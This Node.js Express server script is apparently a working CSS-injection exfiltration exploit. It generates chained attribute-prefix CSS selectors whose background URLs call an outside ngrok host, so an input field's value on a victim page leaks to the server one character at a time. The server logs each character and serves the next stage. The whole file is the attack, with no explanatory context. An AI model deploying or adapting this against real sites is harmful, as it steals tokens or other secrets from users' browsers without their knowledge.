const express = require("express");
const app = express();
const reqMap = new Map();
const HOST = "https://4067-23-93-70-105.ngrok.io";
const ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPRSTUVWXYZ0123456789";
let known = "";
const getCSS = (n) => ALPHABET.split("").map(c => `input[value^='${known + c}']${":nth-child(3)".repeat(n)} {
background: url(${HOST}/leak/${n + 1}/${c});
}`).join("\n");
app.use((req, res, next) => {
console.log(known, req.originalUrl);
next();
});
app.get("/css/:n", (req, res) => {
res.setHeader("Content-Type", "text/css");
if (req.params.n === "0") {
res.send(getCSS(0));
return;
}
reqMap.set(parseInt(req.params.n), res);
});
app.get("/leak/:n/:c", (req, res) => {
let { n, c } = req.params;
known += c;
n = parseInt(n);
if (reqMap.has(n)) {
reqMap.get(n).send(getCSS(n));
}
res.send("lmfao");
});
app.listen(42069);